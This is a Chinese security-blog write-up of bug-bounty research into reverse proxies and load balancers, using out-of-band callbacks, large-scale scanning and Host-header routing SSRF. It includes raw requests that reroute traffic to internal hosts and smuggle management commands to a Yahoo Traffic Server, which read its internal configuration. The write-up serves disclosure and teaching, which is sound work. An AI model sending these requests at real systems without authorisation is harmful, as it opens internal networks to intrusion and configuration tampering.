文章总结： 本文分享通过回连技术探测反向代理等隐形系统攻击面的实战经验。作者利用Host头错误配置实现SSRF，成功入侵包括Yahoo在内的多台服务器，获取三万美元赏金。文章强调隐形系统是安全盲区，建议使用唯一标识符实现规模化漏洞挖掘，并注意多前端会稀释命中率。
综合评分： 88
文章分类： 渗透测试,红队,漏洞分析
三万美元赏金，起点是一个畸形的 Host 头
原创
升斗安全XiuXiu
升斗安全XiuXiu
升斗安全
2026年9月28日 10:31
广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
【文章说明】
- 目的：本文内容仅为网络安全技术研究与教育目的而创作。
- 红线：严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
- 责任：任何对本文技术的滥用所引发的后果自负，与本公众号及作者无关。
- 免责：内容仅供参考，作者不对其准确性、完整性作任何担保。
阅读即代表您同意以上条款。
📌这篇讲什么：现代网站不是它看起来的样子。你和一个网站之间隔着一整套透明系统——反向代理、负载均衡、后端分析、行为采集。它们存在的意义就是让你感觉不到它们存在。这篇文章是整组研究的第一篇，讲三件事：为什么这层”透镜”是软的；怎么让一个志在隐形的系统主动开口说话；以及最基础的那一招——把 Host 头写错——能捅进多远的地方。文末有给猎人的行动清单。
一、你看到的网页，其实隔着一层玻璃 🔍
先问一个问题：当你打开一个网站的时候，你到底在跟谁说话？
表面上看，是那台服务器。实际上，中间隔着一整套你从来没见过的东西：反向代理、负载均衡、CDN 回源、后端分析、行为采集。
它们存在的理由是提升性能、收集数据、提供各种附赠服务。它们存在的前提，是你永远不知道它们在。
我给这层东西起了个名字，叫”透镜”。你透过它看网站，它顺手把你看个精光。
问题就在这儿。一个做得好的负载均衡器，你本来就不该知道它是负载均衡器；一个合格的后端分析系统，更是恨不得你永远别发现它在。这类系统有一个共同的脾气：被设计成不可见。
而在安全这行，有一条几乎没例外的规律——任何重要、但没人测过的攻击面，都是软的。
ShellShock、StageFright、ImageTragick，这些名字你还记得吧？它们全都出在这种地方。一个被忽视的区块里冒出一个严重漏洞，之后就会跟着冒出一大批同类——原因不神秘，就是因为那块地方一直没人看。
所以我把目标放在了这层”透镜”上。
二、看不见的东西，怎么测？📡
思路得先换掉。
传统测法是看响应：发包、读回复、从回复里猜后端。这套方法在这儿不成立。你自己刚说过，这些系统的设计目标是不可见——你从响应里推不出它们存在，更推不出它们有没有洞。
那就反过来：不看它们回什么，看它们有没有打回来。
我发出去的 payload 里只放一样东西：一个属于我自己的地址。如果这套系统真有洞，它会自己找上门来——一个 DNS 查询，或者一个 HTTP 请求，落到我控制的服务器上。
这一篇里出现的所有漏洞、所有系统，全都始于一次回连。
没有回连，它们一个都不会被看见。
记录这些回连我用的是 Burp Collaborator。你不想用它也行：自己搭一台带日志的 DNS 服务器，效果一样；如果只是想做个基础探测，Canarytokens 就够。
三、一个笨办法，和它失败的方式 🧩
我最开始的做法特别朴素：在 Burp 里加一条匹配替换规则，把硬编码的回连 payload 塞进我所有的浏览器流量。
结果彻底失败。
不是 payload 不工作。恰恰相反，它工作得太卖力了——回连多到没法用。我不知道哪个回连是被哪个网站触发的，一堆乱麻。
更麻烦的是时间。有些 payload 不会立刻触发，它等三分钟、等几个小时才回来。有一例，它每 24 小时回来一次。
人肉分不清，那就让程序去分。这就是 Collaborator Everywhere 的诞生——一个 Burp 扩展，它给每个 payload 打上唯一标识符，然后把每一次回连自动对应回触发它的那个网站。你可以从 BApp 商店装，源码在 GitHub 上（PortSwigger/collaborator-everywhere）。
举个我觉得挺逗的例子。
Netflix。我访问它的网站四个小时之后，它来访问我 Referer 头里指定的那个 URL。而且它自称是一台跑在 x86 CPU 上的 iPhone。
笑点在这儿：它想伪装成 iPhone 客户端，可苹果手机用的是 ARM 架构。它只是照着 User-Agent 抄了一遍，抄得还挺像模像样。
四、扩大规模：别让漏洞从指缝里溜走 📊
Collaborator Everywhere 在人工挖掘的场景里非常好用，这一系列的洞差不多一半是它挖出来的。但它有个覆盖率的硬伤。
研究期间我盯上了 Yahoo 的一台服务器。同一个漏洞，任意一次扫描里只有大约30%的概率会被发现。
根因很朴素：Yahoo 用 DNS 轮询做负载均衡，入站请求会被分到三台不同的前端服务器里，而只有其中一台有洞。
对一个正常的安全审计来说，这种怪癖无所谓。但对一个专门要打穿负载均衡的漏洞利用来说，这是致命的——你三分之二的概率白跑。
所以要系统化：把目标基础设施的每一个部分，都喂一遍。
我一开始把 Burp Collaborator 客户端和一个魔改过的 Masscan 拼在一起，后来换成了 ZMap / ZGrab。换的理由很实在：ZGrab 支持 HTTP/1.1 和 HTTPS。
为了让回连能对上目标，我在每个 payload 前面加上目标的主机名。这样 example.com 上的漏洞，就会变成一个发往 example.com.collaboratorid.burpcollaborator.net 的 DNS 查询。
目标域名和 IP 从哪来？手动从公开和私有的漏洞赏金计划里整理出一份合法的、允许测试的域名清单，再拿它和 Rapid7 的 Project Sonar Forward DNS 数据库对一遍。这套办法跑出了几百万个 IP，其中大约5 万个在 80/443 端口上有监听。
我也试过用反向 DNS 记录，结果翻出来一堆自称属于 Google 基础设施的服务器。它们大概不太乐意接受一场突如其来的安全审计，我就没往下走。
光把 payload 撒出去还不行。它们要是永远走不到有洞的那条代码路径，发了等于没发。为了把覆盖率顶上去，我对每个 IP 用最多五个主机名，HTTP 和 HTTPS 同时来，还会用 X-Forwarded-Proto: HTTPS 和 Max-Forwards 去戳边缘情况。另外加一个 Cache-Control: no-transform，防止中间服务器把我的 payload 改掉。
五、错误路由：把代理变成内网的万能钥匙 💥
反向代理的职责，是把进来的请求转发到正确的内部服务器。
它的位置很微妙：站在特权网络上，直接面对互联网，同时又够得着公司的 DMZ，甚至整个内网。
只要 payload 给得对，某些反向代理可以被忽悠着把请求送到攻击者指定的目的地。
说白了，这就是个加强版的 SSRF——一台通往目标内网的无限制网关。
先看最简单的一种：Host 头写错。
GET / HTTP/1.1Host: uniqid.burpcollaborator.netConnection: close
就这么几行。
这技术在圈子里其实很多年前就公开了，但它被严重低估了。用这一招，我打进了27 台服务器、我自己的 ISP、一个通过 DNS 污染把自己架到火线上的某国家的 ISP，还有 ats-vm.lorax.bf1.yahoo.com。
这个洞能有多严重？我从 Yahoo 那台机器进去之后，摸到了一台内部服务器。乍一看，完全不知道它跑的是什么软件：
GET / HTTP/1.1Host: XX.X.XXX.XX:8082HTTP/1.1 200 Connection EstablishedDate: Tue, 07 Feb 2017 16:32:50 GMTTransfer-Encoding: chunkedConnection: close Ok / HTTP/1.1 is unavailable Ok Unknown Command Ok
不到一分钟，我就确切知道了它跑的是什么、以及该怎么跟它说话。全靠一条我抱着试试看的心态敲进去的命令：
HELP / HTTP/1.1 Host: XX.X.XXX.XX:8082 HTTP/1.1 200 Connection Established Date: Tue, 07 Feb 2017 16:33:59 GMT Transfer-Encoding: chunked Connection: keep-aliveOk Traffic Server Overseer Port commands: get set = ”” help exit example: Ok get proxy.node.cache.contents.bytes_free proxy.node.cache.contents.bytes_free = ”56616048” Ok Variable lists are conf/yts/stats records, separated by commasOkUnknown CommandOkUnknown Command Ok Unknown Command Ok
那一大片 Unknown Command 不是它不配合，而是它把请求的每一行都当成一条独立命令读了——它用的是以换行符结束的协议。这意味着，用经典的 SSRF 去打它，几乎不可能。
好在基于路由的 SSRF 更灵活。我发的是一个 GET 请求，但正文写成 POST 的风格，里面塞我自己想要的命令：
GET / HTTP/1.1Host: XX.X.XXX.XX:8082Content-Length: 34GET proxy.config.alarm_emailHTTP/1.1 200 Connection EstablishedDate: Tue, 07 Feb 2017 16:57:02 GMTTransfer-Encoding: chunkedConnection: keep aliveOkHTTP/1.1 is unavailableOkUnknown CommandOkproxy.config.alarm_email = ”[email protected]”
看到了吗——那是 Yahoo 的内部邮箱地址。
而这还只是 get。用 set 命令，我本来可以对 Yahoo 的负载均衡器池做任意配置修改：给自己开一个 SOCKS 代理并把我的 IP 加进白名单，甚至直接往他们的缓存里推东西。
我很快把这事报给了 Yahoo，拿了15,000 美元。几周之后，我的 ZGrab 流水线又找到一台有同样问题的服务器，又赚了5,000。
六、给猎人的四条建议 🧠
- 隐形的系统，等于没被认真测过的系统。 别只盯着应用本身的参数，反向代理、负载均衡、分析中间件，长期是盲区。
- 回连是第一生产力。 payload 里永远带一个属于你自己的地址，哪怕只是一个子域名。
- 唯一标识符是规模化的前提。 手工挖洞可以靠记性，一旦上了自动化，没有标识符就分不清哪个回连是谁触发的。
- 多前端会稀释命中率。 目标是 DNS 轮询、多节点、多 IP 的，必须把所有节点都喂到，否则你测出来的”无洞”只是运气。
下一篇讲个更奇怪的事：我往俄罗斯发的请求，是从英国回来的，而且只用了 50 毫秒。
写到这里，照例求个三连。
这一篇从”想测看不见的东西”到真正打进去，中间隔了无数次失败的回连记录。如果它让你下次做资产梳理的时候，会下意识多问一句”目标前面到底站了几层东西”——那这些时间就没白花。
觉得有用，帮我点个**「赞」和「在看」，让更多挖洞的朋友刷到；顺手「转发」给群里那几个还在只扫参数、不看架构的兄弟，让他们开开眼；还没「关注」的朋友点个关注，中篇和下篇我会接着发，只发在这里；也欢迎「推荐」**给身边做运维、做架构的朋友，第五节那四条他们看了会有点坐不住。
#HTTP隐藏攻击面 #SSRF #反向代理 #漏洞赏金 #赏金猎人 #Web安全 #渗透测试 #漏洞挖掘 #资产梳理 #经验分享
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：升斗安全 升斗安全XiuXiu
升斗安全XiuXiu《三万美元赏金，起点是一个畸形的 Host 头》